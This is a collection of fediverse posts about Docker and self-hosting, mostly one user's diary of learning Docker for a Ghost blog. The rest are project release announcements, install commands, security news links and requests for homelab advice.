MAJOR Plot twist! I'm sure you're having a better morning than me because I was greeted with an email from #OVH (the VPS provider) that started with "Hello Mr. Rossini" and informed me that the VPS was stopped because they suspected a hack - and it will be pe...
Dear Fedi friends,
I've been a little quiet on this account because I'd been pouring all my energy into setting up a new VPS as a testing ground to learn #Docker.
I need to become proficient in Docker ASAP in order to move my Ghost CLI site there (if I want it to federate).
The past 48 hours have been a real rollercoaster ride, as you could read on my GoToSocial account @elena.
Please beware of #OVH! They terminated my VPS without any notice: https://aseachange.com/@elena/statuses/01K35V57PPWH29969DSTC1117A 😵💫
aseachange.com
MAJOR Plot twist! I'm sure you're having a better morning than me because I was greeted with an email from #OVH (the VPS provider) that started with "Hello Mr. Rossini" and informed me that the VPS was stopped because they suspected a hack - and it will be pe...
⚠️#Docker: If you are using Docker for Desktop you need to update it TODAY to v4.44.3. Critical CVE-2025-9074 #vulnerability in previous versions allows malicious containers to access host system:
👇
https://www.heise.de/en/news/Docker-Desktop-Critical-vulnerability-allows-host-access-10560707.html
heise.de
In Docker Desktop, malicious containers can access the host system, protective measures are not effective. An update helps.
⚠️#Docker: If you are using Docker for Desktop you need to update it TODAY to v4.44.3. Critical CVE-2025-9074 #vulnerability in previous versions allows malicious containers to access host system:
👇
https://www.heise.de/en/news/Docker-Desktop-Critical-vulnerability-allows-host-access-10560707.html
heise.de
In Docker Desktop, malicious containers can access the host system, protective measures are not effective. An update helps.
Dear Fedi friends,
Oh happy day!
My #Docker woes have gone away since I realized I can use Docker exclusively via CLI (and not GUI - I thought that was the default). When I couldn’t connect Docker Desktop to my VPS yesterday I was feeling so down. But yay Docker CLI here I come.
Special thanks to everyone who offered advice yesterday, ESPECIALLY @antoine_ali 🏆
I have a feeling you’ll get a laugh out of my next blog post detailing my #selfhosting attempts - because my perception of how Docker operates was all warped.
I must have exposed to the outside my current Docker instance with yesterday’s inane tweaks to access the GUI, so I will uninstall and re-install Docker first thing today… and up the challenge by attempting to do a fresh Ghost installation on it.
I truly know nothing! But I know more than yesterday, that’s for sure. 🤗
Thank you for all your advice (and patience!) 🙏
Anatomy of my day:
😊 7:30am: YAY I can start playing around with my new VPS (no.3) while my little one sleeps
🥳 9:00am: YAY I successfully installed Fail2Ban and #Docker
😳 10:00am: why can't I connect my VPS to Docker Desktop? Time to call it a day.
👭 11:00am: take my little one to the park, run into friends there, the day is looking up
🥴 1:00pm: while my little one is being looked after by my parents, I re-attempt to connect my VPS to Docker. No go. I try to install #Portainer thinking it would make the task easier, but I can't seem to upload the right certificates to connect.
😩 1:00pm - 4:00pm: tackle other tasks (inbox zero, errands), play #LEGO with my little one... with one persistent thought on my mind: why is setting up Docker so hard?!? I thought it would be easy.
🙂 now: planning to take my little one bowling for the first time. A superb way to end the day on a good note (hopefully)
🌄 tomorrow is another day. you win some, you lose some. Wishing you all a lovely afternoon/evening wherever you are
P.S.: For context, ICYMI, I wrote about why I absolutely need to learn Docker ASAP here: https://news.elenarossini.com/my-so-called-sudo-life/my-adventures-in-self-hosting-day-244-everest-edition
news.elenarossini.com
I have a brand new challenge ahead: learning Docker in order to move my Ghost CLI site there and turn on ActivityPub federation
Dear Fedi friends,
Sometimes it's good to know when you need to call it a day. Today I ended my #sudo exploits at 10:00am... I'm mentally exhausted already... but happy about the progress I made.
I started tinkering with my new VPS at 7:30am and managed the following tasks:
- installed #fail2ban
- installed #Docker and checked if it was running successfully with their "hello world" method (it does)
- enabled remote access changing the listening port
- secured the connection with TLS
I wasn't able to create a new Docker context on Docker Desktop to point to my VPS... I ran into error messages about having to include certificates (with the right path)... so I decided to call it a day.
I wanted to end my Day 1 of Docker explorations on a good note.
I plan on writing about this on my blog later today so I can refer back to the steps later... when I actually install Docker on my VPS running Ghost.
Onwards and upwards (it's very apt that "sudo" in Italian means "I sweat" LOOOOL)
#MySoCalledSudoLife #selfhosting #newbie
🏕️ my adventures in #selfhosting: day 244 (Everest edition) ⛰️
a blog post that details some of the highs and lows I have been experiencing lately in my self-hosting adventures. I have a major challenge ahead - learning #Docker - in order to take advantage of #Ghost x #ActivityPub federation. It's my new Everest 🥲
🔗:
https://news.elenarossini.com/my-so-called-sudo-life/my-adventures-in-self-hosting-day-244-everest-edition/
#MySoCalledSudoLife
news.elenarossini.com
I have a brand new challenge ahead: learning Docker in order to move my Ghost CLI site there and turn on ActivityPub federation
Hello my name is Elena and I'm now the owner of 3 VPSs.
I just got a new cheap plan for 6-months to learn #Docker (on a brand new server that I can wipe if things go awry).
Fediverse what did you do to me? From 0 to 3 VPSs in 9 months.
On the bright side, this new passion is far cheaper than
Yes I sort of feel like a 🤡 right now.
😅😂
#MySoCalledSudoLife
🏕️ my adventures in #selfhosting: day 244 (Everest edition) ⛰️
a blog post that details some of the highs and lows I have been experiencing lately in my self-hosting adventures. I have a major challenge ahead - learning #Docker - in order to take advantage of #Ghost x #ActivityPub federation. It's my new Everest 🥲
🔗:
https://news.elenarossini.com/my-so-called-sudo-life/my-adventures-in-self-hosting-day-244-everest-edition/
#MySoCalledSudoLife
news.elenarossini.com
I have a brand new challenge ahead: learning Docker in order to move my Ghost CLI site there and turn on ActivityPub federation
バックドア付きXZ utilsがDockerイメージに残っている話。バックドアが付いたままイメージ作って更新されなければ、そりゃ残るよなぁ #linux #docker #xzutils
Persistent Risk: XZ Utils Backdoor Still Lurking in Docker Images: https://www.binarly.io/blog/persistent-risk-xz-utils-backdoor-still-lurking-in-docker-images
binarly.io
In this blog, we share a new finding in the XZ Utils saga: several Docker images built around the time of the compromise contain the backdoor. At first glance, this might not seem alarming: if the distribution packages were backdoored, then any Docker images based on them would be infected as well. However, what we discovered is that some of these compromised images are still publicly available on Docker Hub.
The moment I had been waiting for… for over 10 days. Home in Italy, with a WiFi connection and a still sleeping child. #Docker learning here we go.
Wishing everyone a great Sunday morning! 🌞
One Open-source Project Daily
A vulnerability scanner for container
https://github.com/anchore/grype
#1ospd #opensource #docker #golang #security #tool #containers #oci #vulnerability #vex #vulnerabilities #containerimage #cyclonedx #openvex
github.com
A vulnerability scanner for container images and filesystems - anchore/grype
One Open-source Project Daily
A vulnerability scanner for container
https://github.com/anchore/grype
#1ospd #opensource #docker #golang #security #tool #containers #oci #vulnerability #vex #vulnerabilities #containerimage #cyclonedx #openvex
github.com
A vulnerability scanner for container images and filesystems - anchore/grype
🔧 Thinking about migrating from Mastodon to GoToSocial?
I've done it – fully documented, production tested, with real benchmarks and custom tooling.
✅ 92% less RAM
✅ 65% less storage
✅ 100% less complexity
📦 Includes slurp import, custom RSS-to-GTS bridge ("GTS-HolMirDas"), federation stats & gotchas.
👉 Read the deep dive: https://blog.klein.ruhr/gotosocial-ready-for-prime-time/
#GoToSocial #GTSHolMirDas #FediFetcher #Fediverse #Selfhosting #Homelab #Migration #Mastodon #Docker
blog.klein.ruhr
Short answer: Hell yes. After completing the full migration and running in production for weeks, I can confidently say GoToSocial is ready for serious use. Perfect For: ✅ * Self-hosters with limited resources (VPS with 1-2GB RAM? No problem!) * Single-user or small family instances (works great up to ~50 users based on
Hello Fedi friends,
Please stage an intervention. This is a special “my adventures in self-hosting - 🤡 edition” toot.
So I need to learn #Docker in order to move my #Ghost blog there - possibly - as it’s the only way to let it federate (per the official Ghost.org documentation).
If you’ve followed me here for a while, you might have caught a running joke “please don’t tempt me to get a THIRD #VPS”.
This is my mayday, begging you: “please talk me out of getting a third VPS.”
I was happily doing online research wondering if I could install Docker on my #RaspberryPi5. Sure, it’s possible. Good to know.
Then things escalated when I started wondering: “hmmm how much would it cost to get a new VPS for Docker testing purposes?”
I checked out the website of my current VPS provider and noticed that you could get a basic VPS and pick an application that would come pre-installed. Docker is in the list of applications with a thumbs up next to it. Oh and I have a $20 credit after a commission. Awww the temptation!
I’m currently with my extended family in the middle of nowhere, with no WiFi in the house, one bar of 5G in most places (at best) and a laptop that refuses to connect to my phone’s hotspot. I’m typing this on my iPad (which is cooperating, vis-à-vis tethering). It’s my 12th day in this location, with 4 days to go before I return to civilization. I’m easily tempted because I’m going a little batty.
Please please please tell me that it’s better to learn Docker on my Pi 5. It’ll be waiting for me at home in a few days 😅
Good morning Fedi friends!
A new learning adventure begins 👀
Is it even possible to have a Dockerfile `ENV` default to a build argument?
I just read Ghost’s developer docs and I think if I want to turn on federation for my blog I need to migrate my #Ghost CLI installation to #Docker:
https://docs.ghost.org/update?ref=ghost.org
I know nothing about Docker but I also have no internet on my laptop / can’t update Ghost anyway right now (see today’s blog post.)
I wonder: what’s the best way to learn Docker (or have a basic understanding of it) if you have 12 days to study it? I need a good Docker tutorial STAT 😅
docs.ghost.org
Learn how to update your self-hosted Ghost install to the latest version
I just read Ghost’s developer docs and I think if I want to turn on federation for my blog I need to migrate my #Ghost CLI installation to #Docker:
https://docs.ghost.org/update?ref=ghost.org
I know nothing about Docker but I also have no internet on my laptop / can’t update Ghost anyway right now (see today’s blog post.)
I wonder: what’s the best way to learn Docker (or have a basic understanding of it) if you have 12 days to study it? I need a good Docker tutorial STAT 😅
docs.ghost.org
Learn how to update your self-hosted Ghost install to the latest version
I just read Ghost’s developer docs and I think if I want to turn on federation for my blog I need to migrate my #Ghost CLI installation to #Docker:
https://docs.ghost.org/update?ref=ghost.org
I know nothing about Docker but I also have no internet on my laptop / can’t update Ghost anyway right now (see today’s blog post.)
I wonder: what’s the best way to learn Docker (or have a basic understanding of it) if you have 12 days to study it? I need a good Docker tutorial STAT 😅
docs.ghost.org
Learn how to update your self-hosted Ghost install to the latest version
🔧 Thinking about migrating from Mastodon to GoToSocial?
I've done it – fully documented, production tested, with real benchmarks and custom tooling.
✅ 92% less RAM
✅ 65% less storage
✅ 100% less complexity
📦 Includes slurp import, custom RSS-to-GTS bridge ("GTS-HolMirDas"), federation stats & gotchas.
👉 Read the deep dive: https://blog.klein.ruhr/gotosocial-ready-for-prime-time/
#GoToSocial #GTSHolMirDas #FediFetcher #Fediverse #Selfhosting #Homelab #Migration #Mastodon #Docker
blog.klein.ruhr
Short answer: Hell yes. After completing the full migration and running in production for weeks, I can confidently say GoToSocial is ready for serious use. Perfect For: ✅ * Self-hosters with limited resources (VPS with 1-2GB RAM? No problem!) * Single-user or small family instances (works great up to ~50 users based on
The new Kubernetes mount-an-OCI-artifact feature got me thinking about backups, layers, data locality, and deduplication via CAS.
Imagine using image layers as snapshots and pushing images as your application's data backup. Then by specifying latest* for the volume mount it would automatically come up with eagerly-cached, local data.
I don't think CAS helps our case for storage here as a layer-snapshot mapping isn't granular enough. Of course it's not like you'd want to redesign your Postgres paging configuration entirely around a better mapping to image layers but there's something there...
Registry-side you could do periodic compaction, archival, export etc.
OCI image layers are already limited though last time I checked. Nix maps derivations (think packages) to layers and neither OCI nor the tooling were designed for that kind of blowout. Could be tackled though.
*yes yes, anti pattern. Hold ur underwear a moment.
#OCI #Containers #Kubernetes #k8s #PlatformEngineering #DevOps #Cloud #Docker
German Version (english below)
Ich habe gerade "GTS-HolMirDas" als Open Source Projekt veröffentlicht.
Ein RSS-basiertes Content-Discovery-Tool für kleinere GoToSocial-Instanzen. Es hilft dabei, die föderierte Timeline zu füllen, ohne auf traditionelle Relays angewiesen zu sein.
Was es macht:
Inspiriert von Alice's HolMirDas für Misskey (@aliceif), angepasst für GoToSocial mit Docker-Integration.
Repository: https://git.klein.ruhr/matthias/gts-holmirdas
Läuft bei mir produktiv und verarbeitet stündlich Content von 80 RSS-Feeds. Falls jemand sowas braucht - einfach ausprobieren.
Feedback gerne willkommen! 🚀
Just released "GTS-HolMirDas" as an open source project.
RSS-based content discovery tool for smaller GoToSocial instances. Helps populate your federated timeline without relying on traditional relays.
What it does:
Inspired by Alice's HolMirDas for Misskey (@aliceif), adapted for GoToSocial with Docker integration.
Repository: https://git.klein.ruhr/matthias/gts-holmirdas
Running in production here, processing content from 80 RSS feeds hourly. If anyone needs something like this - just give it a try.
Feedback welcome! 🚀
#GoToSocial #SelfHosting #Fediverse #OpenSource #ContentDiscovery #RSS #ActivityPub #Homelab #Docker #SmallInstance #Federation
git.klein.ruhr
RSS-based content discovery for GoToSocial
German Version (english below)
Ich habe gerade "GTS-HolMirDas" als Open Source Projekt veröffentlicht.
Ein RSS-basiertes Content-Discovery-Tool für kleinere GoToSocial-Instanzen. Es hilft dabei, die föderierte Timeline zu füllen, ohne auf traditionelle Relays angewiesen zu sein.
Was es macht:
Inspiriert von Alice's HolMirDas für Misskey (@aliceif), angepasst für GoToSocial mit Docker-Integration.
Repository: https://git.klein.ruhr/matthias/gts-holmirdas
Läuft bei mir produktiv und verarbeitet stündlich Content von 80 RSS-Feeds. Falls jemand sowas braucht - einfach ausprobieren.
Feedback gerne willkommen! 🚀
Just released "GTS-HolMirDas" as an open source project.
RSS-based content discovery tool for smaller GoToSocial instances. Helps populate your federated timeline without relying on traditional relays.
What it does:
Inspired by Alice's HolMirDas for Misskey (@aliceif), adapted for GoToSocial with Docker integration.
Repository: https://git.klein.ruhr/matthias/gts-holmirdas
Running in production here, processing content from 80 RSS feeds hourly. If anyone needs something like this - just give it a try.
Feedback welcome! 🚀
#GoToSocial #SelfHosting #Fediverse #OpenSource #ContentDiscovery #RSS #ActivityPub #Homelab #Docker #SmallInstance #Federation
git.klein.ruhr
RSS-based content discovery for GoToSocial
🏕️ my adventures in self-hosting: day 220 (roller coaster edition) 🎢
A new blog post where I discuss how sanity prevailed and I will NOT install my own Lemmy instance. But! Now I'm tempted to set up something else. Thankfully reality for now is disrupting my fanciful plans.
🔗: https://news.elenarossini.com/my-so-called-sudo-life/my-adventures-in-self-hosting-day-220-roller-coaster-edition/
#MySoCalledSudoLife #Sharkey #Friendica #GoToSocial #YunoHost #Docker
news.elenarossini.com
Sanity prevailed and I won't set-up my own Lemmy instance. But! Now I'm tempted to install something else...
Just published a blog post on optimizing Gradle builds with Docker, Flyway, jOOQ & Postgres 🐘🐳🐦
I hit a weird issue where the DB started up even when everything was up-to-date. Turns out: Gradle task graphs & build services can be tricky!
Here’s how I fixed it with a cleaner setup 👇
https://britter.dev/blog/2025/07/22/gradle-jooq-docker/

britter.dev
How using a custom Gradle build service and rethinking task dependencies led to faster, cleaner builds in a Java backend project using Docker, Flyway, and jOOQ.
Just published a blog post on optimizing Gradle builds with Docker, Flyway, jOOQ & Postgres 🐘🐳🐦
I hit a weird issue where the DB started up even when everything was up-to-date. Turns out: Gradle task graphs & build services can be tricky!
Here’s how I fixed it with a cleaner setup 👇
https://britter.dev/blog/2025/07/22/gradle-jooq-docker/

britter.dev
How using a custom Gradle build service and rethinking task dependencies led to faster, cleaner builds in a Java backend project using Docker, Flyway, and jOOQ.
What are your favourite monitoring tools for your home labs?
I’m looking to get some recommendations. Be great if it has an accompanying app for mobile or a decent web app.
What are your favourite monitoring tools for your home labs?
I’m looking to get some recommendations. Be great if it has an accompanying app for mobile or a decent web app.
Some exciting #stigmerge updates to share!
All stigmerge peers are now seeders -- there are no #leechers in official stigmerge releases. Sharing is caring! #veilid private routing mitigates the privacy hazards normally associated with sharing content over public networks directly.
Peers gossip with each other _constantly_, advertising themselves and discovering new neighbors -- and they store these contact lists in the #veilid DHT like a pheromone trail. So even when an original seeder is long gone and goes offline -- if just one of its last-known neighbors is online, future travelers still have a chance to join a live swarm of active peers.
Fetchers can balance downloads among multiple peers, gravitating towards the most productive ones.
It's also super-easy to run stigmerge from an OCI container now (#Docker or #Podman as you like).
Check out the updated README for more details -- and the 0.5.6 release to try these new superpowers out for yourself!
https://github.com/cmars/stigmerge
https://github.com/cmars/stigmerge/releases/tag/stigmerge-v0.5.6
Install stigmerge 0.5.6 Install prebuilt binaries via shell script curl --proto '=https' --tlsv1.2 -LsSf https://github.com/cmars/stigmerge/releases/download/stigmerge-v0.5.6/stigmerge-installer.sh...
Okay so this evening I finally got around to setting up some backup logic on my NAS. I have an rclone docker container which runs a “copy” command every night to backup my docker data/config directory and store it in an S3 storage bucket, and the removes itself so it doesn’t use any unnecessary resource.
It’s definitely not perfect (it might even be overly complicated), but it’ll do for now. At least I know I have some form of backup should shit hit the fan.
Question for Docker / Portainer users; How do you manage your backups?
I really don’t want to make any services I host “live” before I have a good backup solution in place so looking for tips! Thanks!
It took a while to get my head around as I’m a complete noob at it, but this afternoon I’ve got Docker and Portainer setup and a container running Nginx.
Also got a cronjob running every 10 minutes to automatically update DNS records in Cloudflare whenever it detects my public IP at home has updated. 😎
#SelfHosting #SelfHosted #HomeLab #Docker #Portainer #Nginx #Cloudflare
Set up Collabora Online in minutes!
Watch how to set up Collabora Online on a Raspberry Pi or Linux system using the Collabora/CODE Docker image — simple and efficient.
☑️ Quick Raspberry Pi setup
☑️ Easy Docker installation
☑️ The simplicity of running Collabora Online without complex setups
🎬 Ready to get started? Watch the full guide: https://buff.ly/ddlzXH0
#SelfHosting #Docker #CollaboraOnline #OpenSource #RaspberryPi
Set up Collabora Online in minutes!
Watch how to set up Collabora Online on a Raspberry Pi or Linux system using the Collabora/CODE Docker image — simple and efficient.
☑️ Quick Raspberry Pi setup
☑️ Easy Docker installation
☑️ The simplicity of running Collabora Online without complex setups
🎬 Ready to get started? Watch the full guide: https://buff.ly/ddlzXH0
#SelfHosting #Docker #CollaboraOnline #OpenSource #RaspberryPi
I'd like a solution to self-host services such as Vaultwarden, Immich and Home Assistant at home. I don't want to rely on cloud solutions for this so I'm thinking maybe along the lines of a Raspberry Pi for the Docker apps and a NAS for the backend storage, but I'm really clueless as what to get. I just know that I'd want something relatively simple and easy to maintain.
I'm also a bit of a Linux and Docker noob so I'm looking to get some advice and ideas from the Fedi community!
What would your suggestions be? What does your home lab setup look like?
#SelfHosted #HomeLab #Linux #Docker #NAS #RaspberryPi #VaultWarden #Immich #HomeAssistant
Wir suchen ein*e Entwickler*in für Python und Django. Unsere Wildvogelhilfe hat eine eigene Patienten-Webapp, welche dringend mehr technische Untersützung braucht.
https://git.kraut.space/nabujena/FallenBirdyForm
Melde dich wenn du uns helfen kannst.
#FOSS #Hilfe #NABU #OpenSource #Dev #Python #Docker #Ehrenamt
git.kraut.space
FallenBirdyForm
whoa Apple made its own Docker alternative. So now both Apple and Microsoft have first-party functionality targeted at running Linux virtual machines on their operating systems—wild!
mastodon.social
New way to launch and manage containers on macOS, and yeap, it’s oss and entirely written in Swift! https://github.com/apple/container #swiftlang https://developer.apple.com/videos/play/wwdc2025/346
What lightweight monitoring option can I run that will give me historical stats on memory and cpu for both the host and each container? I'm trying to track down a random timeout (suspecting caused by cpu spikes) at exactly 2am on some nights.
Should run as a docker container. Thanks!
오늘 오후 2시, #포항 #한동대학교 에서 #Ubuntu 리눅스를 활용한 프론트엔드 배포 환경 구축 워크샵이 열립니다!
참가 마감은 오후 1시 30분까지이니, 참가를 희망하신다면 지금도 신청하실 수 있습니다 :)
잠시 후 뵙겠습니다!
#Multipass #Rockcraft #Docker
🎟️ 참가 신청 https://event-us.kr/m/104210/35052
event-us.kr
Ubuntu를 활용한 웹 앱 컨테이너 생성 및 배포 방법을 시연, 실습하는 워크샵입니다.
오늘 오후 2시, #포항 #한동대학교 에서 #Ubuntu 리눅스를 활용한 프론트엔드 배포 환경 구축 워크샵이 열립니다!
참가 마감은 오후 1시 30분까지이니, 참가를 희망하신다면 지금도 신청하실 수 있습니다 :)
잠시 후 뵙겠습니다!
#Multipass #Rockcraft #Docker
🎟️ 참가 신청 https://event-us.kr/m/104210/35052
event-us.kr
Ubuntu를 활용한 웹 앱 컨테이너 생성 및 배포 방법을 시연, 실습하는 워크샵입니다.
@mobilizon any estimate when the docker image will be upgraded to fix the latest vulnerability? I had to shut down our instance until it's available.
If CI is broken, could someone just make a new image manually for this release?
🎉 New I2Pd software release available: v2.57.0 - I2Pd is an official version of @i2p
#diva is also reseed service provider for the #I2P network and is publishing #docker container versions of I2P (and also #tor). diva is also in 2025 a sponsored #OSS partner of docker.
Github #i2pd v2.57.0: https://github.com/diva-exchange/i2p
Do you want to help testing @badgefed and provision your local test instance?
Easy
docker pull ghcr.io/tryvocalcat/badgefed:latest &&
docker run -v `pwd`/data:/app/data \
-p 8080:8080 \
-e SQLITE_DB_FILENAME=/app/data/badges.db \
-e AdminAuthentication__AdminUsers__0__Id=your-mastodon-username \
-e AdminAuthentication__AdminUsers__0__Type=Mastodon \
-e MastodonConfig__ClientId=your-mastodon-client-id \
-e MastodonConfig__ClientSecret=your-mastodon-client-secret \
-e MastodonConfig__Server=your-mastodon-server \
ghcr.io/tryvocalcat/badgefed
And then open a browser and go to http://localhost:8080 or http://localhost:8080/admin
#docker #badgefed #openbadges #softwaredevelopment #testing #fediverse #activitypub
Do you want to help testing @badgefed and provision your local test instance?
Easy
docker pull ghcr.io/tryvocalcat/badgefed:latest &&
docker run -v `pwd`/data:/app/data \
-p 8080:8080 \
-e SQLITE_DB_FILENAME=/app/data/badges.db \
-e AdminAuthentication__AdminUsers__0__Id=your-mastodon-username \
-e AdminAuthentication__AdminUsers__0__Type=Mastodon \
-e MastodonConfig__ClientId=your-mastodon-client-id \
-e MastodonConfig__ClientSecret=your-mastodon-client-secret \
-e MastodonConfig__Server=your-mastodon-server \
ghcr.io/tryvocalcat/badgefed
And then open a browser and go to http://localhost:8080 or http://localhost:8080/admin
#docker #badgefed #openbadges #softwaredevelopment #testing #fediverse #activitypub
Do you want to help testing @badgefed and provision your local test instance?
Easy
docker pull ghcr.io/tryvocalcat/badgefed:latest &&
docker run -v `pwd`/data:/app/data \
-p 8080:8080 \
-e SQLITE_DB_FILENAME=/app/data/badges.db \
-e AdminAuthentication__AdminUsers__0__Id=your-mastodon-username \
-e AdminAuthentication__AdminUsers__0__Type=Mastodon \
-e MastodonConfig__ClientId=your-mastodon-client-id \
-e MastodonConfig__ClientSecret=your-mastodon-client-secret \
-e MastodonConfig__Server=your-mastodon-server \
ghcr.io/tryvocalcat/badgefed
And then open a browser and go to http://localhost:8080 or http://localhost:8080/admin
#docker #badgefed #openbadges #softwaredevelopment #testing #fediverse #activitypub
git-next: 🔥 New release v2025.5.0 - Refactoring and isolating features
🧩 git-next: trunk-based development manager
🦀 Written in Rust
⭐ Repo: https://codeberg.org/kemitix/git-next
What's New
- Reimplement git operations to use git2/libgit2
- Renamed features:
forgejo -> forge-forgejo
github -> forge-github
notify-desktop
notify-email
This a significant update to migrate from gix to git2 for git operations. This allows us to drop the gix crate and the need to shelling-out to git for operations that gix doesn't support.
Breaking Change
If you are build from source (e.g. cargo install) and use either email or desktop notifications in your configuration file, you will need to add the appropriate feature, notify-desktop and/or notify-email. If you don't the config file will not be accepted.
The docker images are built with all features enabled.
Install
📦 cargo install git-next@2025.5.0
📦 cargo install git-next@2025.5.0 --features notify-desktop,notify-email
🐋 docker pull codeberg.org/kemitix/git-next:v2025.5.0
Run UI in docker
docker run --rm -p 8092:8092 \
-u $(id -u):$(id -g) \
-it \
-v $PWD:/app \
codeberg.org/kemitix/git-next:v2025.5.0 \
server start --xui
#RustLang #Ratatui #Git #GitNext #OpenSource #Docker #GitHub #ForgeJo
🤖✨ Ah, finally! Because what #developer hasn't dreamt of transforming their #Docker #nightmares into standalone executable horrors?🔨👻 Now, brace yourself for terminal-induced #PTSD as you navigate yet another #GitHub maze that promises to "simplify" your life. 🌀🚀
https://github.com/rzane/docker2exe #Simplification #Tools #Terminal #HackerNews #ngated
github.com
Convert a Docker image to an executable. Contribute to rzane/docker2exe development by creating an account on GitHub.
🤖✨ Ah, finally! Because what #developer hasn't dreamt of transforming their #Docker #nightmares into standalone executable horrors?🔨👻 Now, brace yourself for terminal-induced #PTSD as you navigate yet another #GitHub maze that promises to "simplify" your life. 🌀🚀
https://github.com/rzane/docker2exe #Simplification #Tools #Terminal #HackerNews #ngated
github.com
Convert a Docker image to an executable. Contribute to rzane/docker2exe development by creating an account on GitHub.
Writing a single bash script that turns a clean #Debian install into an opinionated #selfhosted setup (the one that I use myself) with:
* #Docker
* #dockge as web UI for managing docker-compose stacks
* @tailscale setup to expose deployed services with TSDProxy as separate TS domains
* Restic for data backups
Anybody interested?
Services I'm currently #SelfHosting in #Docker (managed via #Dockge):
* @silverbulletmd (notes, tasks, life)
* Miniflux (RSS reader)
* Jellyfin (local media streaming)
* Linkding (bookmarks)
* N8n (workflow automation)
* SearXNG (private search engine)
* Syncthing (sync)
* Minecraft server (for the kids)
* Calibre web (Web UI to my Calibre e-book collection)
I’m officially a Docker Captain! 🐳✨
So excited and honored to join this amazing community of builders and tech enthusiasts.
Can’t wait to share, learn, and grow with everyone in the Docker world! 💙
#DockerCaptain #WomenInTech #TechCommunity #Docker #DevOps #Containers
I've reinstalled Slackware and now I'm on "stable".
I'm trying to install docker, and I see that I need to install runc and containerd, but I'm getting this error whien trying to compile runc (I'm using sbopkg for all of these packages.
(Also, I am using alien and multilib)
Any ideas?
@elena Well it would be best to have the exact setup, yes, just to see how it all behaves, but even if its not, and even if its deployed differently, at least you will know if there are any breaking changes.
For example a parallel #docker deployment of 2 containers (ghost + db) will be more than enough to confirm that the new version of Ghost is working as intended with all your configurations, themes, etc. Restore your current DB content there and rest is fairly easy.
From last week's Linux Update newsletter: Koen Vervloesem shows you how to manage containers with MicroOS, Cockpit, and Podman
https://www.linux-magazine.com/Issues/2025/291/Container-Management?utm_source=SM
#containers #openSUSE #MicroOS #Cockpit #Podman #Docker
From last week's Linux Update newsletter: Koen Vervloesem shows you how to manage containers with MicroOS, Cockpit, and Podman
https://www.linux-magazine.com/Issues/2025/291/Container-Management?utm_source=SM
#containers #openSUSE #MicroOS #Cockpit #Podman #Docker
One month has passed since I am using #selfhosted #activitypub instance 🎉. I have linux #docker compose stack with @mitra backend (#rust/#postgresql) written by @silverpill and @phanpy as my daily UI for desktop and mobile. Everything works fluent, backend memory print is really low and disk usage is about 2.3 GB as I have set data retention limit to one week and it is totally enough. I am following directly around 150 users + following 7 hashtags via https://relay.fedi.buzz/ which brings also optimal amount of federated posts into my server. Highly recommended!
relay.fedi.buzz
The buzzing ActivityPub relay service
One month has passed since I am using #selfhosted #activitypub instance 🎉. I have linux #docker compose stack with @mitra backend (#rust/#postgresql) written by @silverpill and @phanpy as my daily UI for desktop and mobile. Everything works fluent, backend memory print is really low and disk usage is about 2.3 GB as I have set data retention limit to one week and it is totally enough. I am following directly around 150 users + following 7 hashtags via https://relay.fedi.buzz/ which brings also optimal amount of federated posts into my server. Highly recommended!
relay.fedi.buzz
The buzzing ActivityPub relay service
#guix social talk this week by @paulbutgold on self-hosting @forgejo using #oci / #docker #containers
His Gocix project brings the power of declarative configuration to running container services.
Details on the Wiki or register at the Meetup:
- https://libreplanet.org/wiki/Group:Guix/GuixSocial
- https://www.meetup.com/guix-social/events/306340848/
#guix #nix #linux #containers #docker #oci #scheme #guile #selfhosting #forge #foss
#guix social talk this week by @paulbutgold on self-hosting @forgejo using #oci / #docker #containers
His Gocix project brings the power of declarative configuration to running container services.
Details on the Wiki or register at the Meetup:
- https://libreplanet.org/wiki/Group:Guix/GuixSocial
- https://www.meetup.com/guix-social/events/306340848/
#guix #nix #linux #containers #docker #oci #scheme #guile #selfhosting #forge #foss
“With Docker, we learned that the hard way”
🎥 https://youtu.be/ZthqD40zzMQ
#Dagger (previously #Docker) founder @shykes speaks candidly about the different between an #opensource ecosystem and an actual community
youtube.com
Dagger founder Solomon Hykes on what he learned the hard way about open source from Docker on "The Changelog" podcast. Full audio 👉 https://changelog.fm/550...
@Plasticbluemusic 👆👆👆(maybe this will help)
Blogged: Running an ASP.NET Core app inside IIS in a Windows container
https://andrewlock.net/running-an-aspnetcore-app-behind-iis-in-a-windows-container/
In this post I describe how to run an ASP.NET Core app inside IIS in a Windows Docker container
andrewlock.net
In this post I describe how to run an ASP.NET Core app inside IIS in a Windows Docker container
Coming up on my task list is getting multiple/different containers running on a single domain using subdomains… can that work?
So app1.example.com is one Podman container and app2.example.com is a different Podman container… (both using port 80)
I’ve found this guide I might try, but if you have a better way please let me know!
➡️ https://www.redhat.com/en/blog/podman-nginx-multidomain-applications
redhat.com
Managing different applications from different domains on the same host can be difficult when using different ports. When a colleague suggested I write an ar...
Bin echt am überlegen, ob ich mit meinem Server von #NixOS zurück auf #ArchLinux gehen soll. Beim Herumprobieren mit #Docker habe ich festgestellt, dass der eine oder andere Container über Arch besser läuft als über Nix. Ich dachte erst, ich hätte bei der Konfiguration was vergessen, aber das Wiki sagt an sich Nein.
https://nixos.wiki/wiki/Docker
Während zum Beispiel ein Container über NixOS ständig crashed, läuft dieser über Arch permanent durch. Ist mir echt ein Rätsel wie das sein könnte, dürfte sich durch Docker doch eigentlich, bis auf die Hardware, nichts zwischen Betriebssystem unterscheiden, vor allem, wenn man sich was von GitHub zieht.
#Linux #Homeserver #Homelab #Selfhosting #Selfhosted
nixos.wiki
Developing apps is even more rewarding with Nextcloud Hub 10! 🧑💻
Now built into Nextcloud: develop apps in any dev language using our AppAPI and deploy via #Docker!
🔗 Read more with other improvements in our blog:
nextcloud.com
Welcome Nextcloud Hub 10 - reinforced performance, deeper integration, and dozens of new features that will make your day easier!
Developing apps is even more rewarding with Nextcloud Hub 10! 🧑💻
Now built into Nextcloud: develop apps in any dev language using our AppAPI and deploy via #Docker!
🔗 Read more with other improvements in our blog:
nextcloud.com
Welcome Nextcloud Hub 10 - reinforced performance, deeper integration, and dozens of new features that will make your day easier!
What is a "big image" at Anthropic? 35GB uncompressed
"#Docker has delayed its plan to limit image pulls ... from Docker Hub, by one month"
https://www.theregister.com/2025/02/22/docker_hub_pull_limits/
theregister.com
Image fetches to be capped on hourly basis for Personal, unauthenticated use, paid-for plans get unlimited access
@elena Well done! Welcome to the #GhostClub!
Bruhh, new #docker hub limits are insane. Imagine you debug something and need to wait another hour to download an image. 10 downloads per ip is very hard.
Docker Hub will only allow an unauthenticated 10/pulls per hour starting March 1st
https://docs.docker.com/docker-hub/usage/
